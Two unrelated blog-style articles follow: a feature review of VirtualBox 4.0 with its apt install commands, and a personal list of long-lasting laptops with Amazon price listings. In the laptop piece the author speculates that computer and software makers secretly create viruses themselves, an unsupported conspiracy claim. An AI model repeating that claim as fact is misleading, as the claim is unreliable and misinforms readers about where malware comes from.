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wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get install virtualbox-4.0

New GUI

The most notable changes to version 4.0 is the new user interface. From the dashboard, you can now view a screenshot of your saved VM. It is a nice to have feature, though I don’t find it very useful.

virtualbox-vm-manager

You can also drag to reorder your VM now.

When you right click on the VM, there is a new option to create a shortcut on your desktop. Clicking on this shortcut will start your VM.

virtualbox-create-shortcut
Extensions

Almost every new applications nowadays come with extension support. In VirtualBox 4.0, they have also added the support for extensions, though there is one extension currently available for installation. The extension pack provide supports for USB 2.0 devices, VirtualBox RDP and PXE boot for Intel cards. Rather than calling it an extension pack, I think it is more appropriate to call it a mandatory install (unless you can do without the USB support).

To install the extension pack, first download it from here.

In your VirtualBox Manager, go to “Files -> Preferences“. On the left pane, click on the “Extensions” entry. On the right, click on the “Add Package” icon. It will then prompt you to choose the extension pack file to install.

virtualbox-install-ext-pack
New disk file layout for VM portability

In the past, Virtualbox stores all the VM setting files in one folder and the virtual hard disks in another. This make portability a difficult task since the files are scattered around. In version 4, all the files (.vbox and .vdi) are now stored in the “VirtualBox VMs” directory in your Home folder.

In addition, when you delete a VM, you can now choose to delete all files related to the VM, including the settings, snapshots and saved states.

virtualbox-remove-vm
Improved RAM support

VirtualBox 4.0 now supports more than 1.5/2GB of RAM allocation for your VM on a 32-bit hosts.
Support for new virtual hardware

VirtualBox 4.0 now supports Intel ICH9 chipset with three PCI buses, PCI Express and Message Signaled Interrupts (MSI). For those of you who are not sure what chipset is, It is the IC chip in the motherboard that determine the OS capability. Older chipsets don’t come with support for 64-bit system, HD graphics and audio etc. With this newer chipset support, you can now install a modern operating system (like 64-bit OS) and run it without any hiccups.

In addition, you can now choose between 1 – 4 CPU resources to allocate to the VM. (Note: You will need a physical quad-core CPU to be able to allocate up to 4 CPU resources).
New scale display mode

Virtualbox 4.0 can now run within a window in scale mode. What this means is that when you resize the window, the VM display will get resize as well. This allows you to check out other application while keeping your VM window in view.

From the screenshot below, you can see my Windows XP running in a a small tiny window and still has the full-desktop view.

virtualbox-scale-mode
Better upgraded guest addition

The guest additions for Linux now support multiple virtual screens in Linux and Solaris guests. Also, the shared folders can now be marked as auto-mounted on Windows, Linux and Solaris guests. Best still, for Linux guest, the shared folders now support symbolic links. On Windows guest, automatic logon on Windows Vista/Windows 7 is now able to handle renamed user accounts.
Importing/Exporting

Importing and exporting of appliances now support OVA format. This will bundle all the files and settings in a single archive file.
Conclusion

Without a doubt, VirtualBox 4.0 is a much better build than its previous version. Most of the changes are geared toward its usability and all are welcome changes. It will not be capable of running an resource intensive 3D game yet, but for daily matters like web surfing, run office programs etc, it is more than sufficient to meet your needs.

Five Best Laptop Computers Ever
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One of my criteria for buying a laptop computer is the likely life span. I use a laptop for work. To a major extent, it is a tool and one of the most important things for me is how long it will last. I know I end up being a little behind the times fashion wise, but that’s not why I buy them. I buy them because they are cheap if you buy the right one that will last a decent length of time.

Who cares if there is a slightly faster version available? If you picked the right laptop in the first place, it should make no difference. I just do not see the point of “keeping up with the Joneses,” just to be able to say I have the latest whatever. The problem is, the manufacturers of both the hardware and the software are very well aware that they need to keep advancing so they can sell you a new computer every year. How many times do you find the battery or the screen or some other part fail, only to discover it is so expensive to replace that you might as well buy a whole new computer?So, here are my recommendations for the “Five Best Laptop Computers,” based on the fact that they will not need replacing very soon.
Apple MacBook Pro 17"
Apple MacBook Pro 17"
Number one – The Apple MacBook Pro

I have had one of these since the day it was released. I had to buy a new one when my PowerBook was stolen. Admittedly, the first releases had a few problems. Mine had to have a variety of internal parts replaced when it kept overheating. Having said that, Apple were great – they replaced all the parts free of charge within 24 hours of me complaining. I recently upgraded the software to Leopard and I must say, the good thing about Apple is the fact that they don’t manage to make your machine obsolete every time a new OS comes out. These are well built, solid pieces of equipment – I fully expect to get a minimum of six years use out of this one which is more than double what is normally expected. My old PowerBook was 4 years old when it was stolen and worked just fine. And if you look at it from a life expectancy stand point, that actually makes it cheap. They sell for around $2,000 - $3,000 (depending on the specs) which means the yearly cost is about $350 - $500. If you choose to buy one, I recommend the 3 years AppleCare Warranty – Then you know exactly how much it’s going to cost to fix for three years.
Apple MacBook Pro MC700LL/A 13.3-Inch Laptop Apple MacBook Pro MC700LL/A 13.3-Inch Laptop
Amazon Price: Too low to display
List Price: $1,199.00
Apple MacBook Pro MC721LL/A 15.4-Inch Laptop Apple MacBook Pro MC721LL/A 15.4-Inch Laptop
Amazon Price: Too low to display
List Price: $1,799.00
Apple MacBook
Apple MacBook
Number Two – The Apple MacBook

This is another long life laptop. I had one of these which I used for nearly five years and then sold to a friend – he still uses it to this day. So far, it is working just fine for him and nearly 8 years old. At the current price of around $1,000 - $1,500 that means a yearly cost of around $150 if you can get that long out of it. Once again, these are solidly built pieces of equipment and it is not vital to upgrade to the latest software. The one I sold is still running the first version of OSX and is working perfectly. These are perfect if you are heading off to college – they will last the length of your course. (Unless you are planning on becoming a particle physicist.) Once again, the AppleCare warranty is worth the money.

Apple MacBook MC516LL/A 13.3-Inch Laptop Apple MacBook MC516LL/A 13.3-Inch Laptop
Amazon Price: $994.99
List Price: $999.99
Apple MacBook Pro MC700LL/A 13.3-Inch Laptop Apple MacBook Pro MC700LL/A 13.3-Inch Laptop
Amazon Price: Too low to display
List Price: $1,199.00
Sony Vaio
Sony Vaio
Number Three – The Sony Vaio

I have also had and used in the past, Sony Laptops. If you need a PC rather than a mac, Sony also make very well built pieces of equipment. Their customer service has gone way down hill in the last few years, but if you are lucky, you will not need to use it ☺ Sony are one of the top laptop makers in my book – they learn a lot from all the other products they make.

I won’t go into too many details because the range of different models is ridiculously large. Unnecessarily so in fact. PCs in general are almost designed to be obsolete as soon as you open the box. The longest I have managed to get a useable PC is four years – After that time, it is practically impossible to keep the things running well – My best advice to get the longest life from one of these is to buy the best specifications you can afford – the higher the specs, the longer before it becomes un-useable.

Sony VAIO VPC-EE42FX/BJ 15.5-Inch Widescreen Entertainment Laptop (Black) Sony VAIO VPC-EE42FX/BJ 15.5-Inch Widescreen Entertainment Laptop (Black)
Amazon Price: $575.49
List Price: $629.99
Sony VAIO VPC-F13YFX/B 16.4-Inch Widescreen Entertainment Laptop (Black) Sony VAIO VPC-F13YFX/B 16.4-Inch Widescreen Entertainment Laptop (Black)
Amazon Price: $1,136.12
List Price: $1,199.99
Number Four – Toshiba Qosmio and Satellite

Once again, I have used these and they are tough. Anything I get a decent lifespan from is by definition well-built. Toshiba has a very good reputation and my own personal experience has taught me that they will look after the customer. These are not exactly the prettiest laptops on the planet – they never have been. But I don’t buy them based on how pretty they are, I buy them based on how well they will do the job I want them to do and how long they will probably last. Toshiba’s are built to last and are unlikely to fail because of a hardware issue.

Qosmio X505-Q8104 18.4-Inch Gaming Laptop (Omega Black) Qosmio X505-Q8104 18.4-Inch Gaming Laptop (Omega Black)
Amazon Price: $1,779.99
List Price: $1,899.99
Qosmio X505x-Q8100 18.4-Inch Gaming Laptop (Omega Black) Qosmio X505x-Q8100 18.4-Inch Gaming Laptop (Omega Black)
Amazon Price: Too low to display
List Price: $1,299.99
Asus eee 4G Galaxy
Asus eee 4G Galaxy
Number Five – The ASUS eee 4G –Galaxy

I will be honest and say I have not actually owned one of these. But I have had a look and I must say, I like the idea of a PC that comes with pre-loaded, free Linux based software. It’s nit top of the range, all-singing, all-dancing stuff, but if you don’t start with the fastest, spiffiest software, you will not see the need to keep on top of the “latest and greatest.”

Every one who has reviewed them has had nothing but praise for them and if the hardware is as well built as it seems to be, I see no reason why it should not be possible to get the same sort of life span from these as a Macintosh.

ASUS Eee Pad Transformer TF101-A1 10.1-Inch Tablet Computer (Tablet Only) ASUS Eee Pad Transformer TF101-A1 10.1-Inch Tablet Computer (Tablet Only)
Amazon Price: Too low to display
List Price: $399.00
ASUS A53SV-XE1 15.6-Inch Versatile Entertainment Laptop - Black ASUS A53SV-XE1 15.6-Inch Versatile Entertainment Laptop - Black
Amazon Price: $799.99
List Price: $899.99
Death of a Computer
Death of a Computer
Computer life spans

One thing you never see Apple do is sell their computer range on the basis that it will last longer than a PC. NEVER have I seen them sell them in this way - NEVER. Why not? You would think that this would make a fantastic selling point.

And it does, but they also wish to sell you a new one every couple of years. Even the latest MacBook Air. It looks good, but it’s just a thinner version of the MacBook Pro. Big deal! Does it really matter if it weighs a few ounces less? This is not a good reason to buy a new computer. The makers are trying very hard to sell computers on the basis that they are fashionable – Computers are a tool. With the possible exception of serious game players and a few professional video editors and the like, by far and away the bulk of computer buyers should have no need to buy a new one every two years, but the typical lifespan of a laptop is about 2.5 years. Why?

Call be a cynic if you will, but there are two things that force people into buying a new one:

The operating system takes over the hardware completely. Constant updates and improvements to the OS mean that sooner or later, your hardware will be unable to cope. And I can honestly say, I do not see a great deal of difference between this year’s OS than that of five years ago. Microsoft word is still the same bastard to use as it always was.
Anti Virus software. One of the things that killed my last PC stone dead was the incredible amount of Anti-virus software it needed installed.

And it wouldn’t surprise me in the slightest if it later comes to light that the computer manufacturers and software companies are creating these viruses THEMSELVES. You heard it here first. I refuse to believe that there are enough private individuals out there with the resources to waste this much time creating this many viruses just to piss every one off.

This is one of my main arguments for buying a Macintosh – The OS will not eat your machine next year. Sure some of the programs I use have had to be discarded since I updated to Leopard, but on the whole, it actually works faster with the same hardware than Tiger did. You will not see me throwing out my current model for a new thinner one.

Do you want to add to the junk pile?
Do you want to add to the junk pile?
Consider buying used

It is certainly worth considering a used Laptop. At around two years old, a used MacBook should have a good three to four years life left in it and a two year old PC will probably last another two before the software eats it. There are plenty of people who can’t live without having the latest model, so why not take advantage of their actions? Try buying a used one. I bought my dad a used Powerbook three years ago. It cost me less than $900 and he is still using it every day. It is now five years old and going strong.